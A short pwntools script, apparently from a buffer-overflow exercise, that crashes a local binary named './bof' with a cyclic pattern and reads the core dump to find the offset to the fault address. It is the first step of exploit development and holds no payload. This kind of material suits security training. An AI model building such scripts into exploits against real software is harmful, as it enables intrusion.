#!/usr/bin/python3
from pwn import *			# Importing the pwntools library.
import time

binary_file = './bof'			
context(arch='amd64')		# Defining the architecture of the binary.		

elf = ELF(binary_file)		# Loading the binary.
p = process(binary_file)	# Starting a process.

print(p.recvline())			# Receives a line from the program.

p.sendline('AAAAAAAAA')		# Send data to the program
print(p.recvline())			

p.close()						# Closing the process
p = process(binary_file)		# Starting another process
print(p.recvline())				# Reeving a line

pattern = cyclic(1024)			# Creating the cyclic pattern
p.sendline(pattern)				# Sending it and crashing it.

time.sleep(1)

core = Coredump("./core")										# Loading the core file made due to the overflow
seg_addr = int("0x" + hex(core.fault_addr)[10:], 16)			# Getting the address of the SEG fault
log.success(f"Core fault address at: {hex(core.fault_addr)}")	# Printing that address
log.info(f"Finding offset for : {hex(seg_addr)}")	
offset = cyclic_find(seg_addr)									# Finding the offset using the SEG fault address
log.success(f"Offset found at : {offset}")						# Printing the Offset

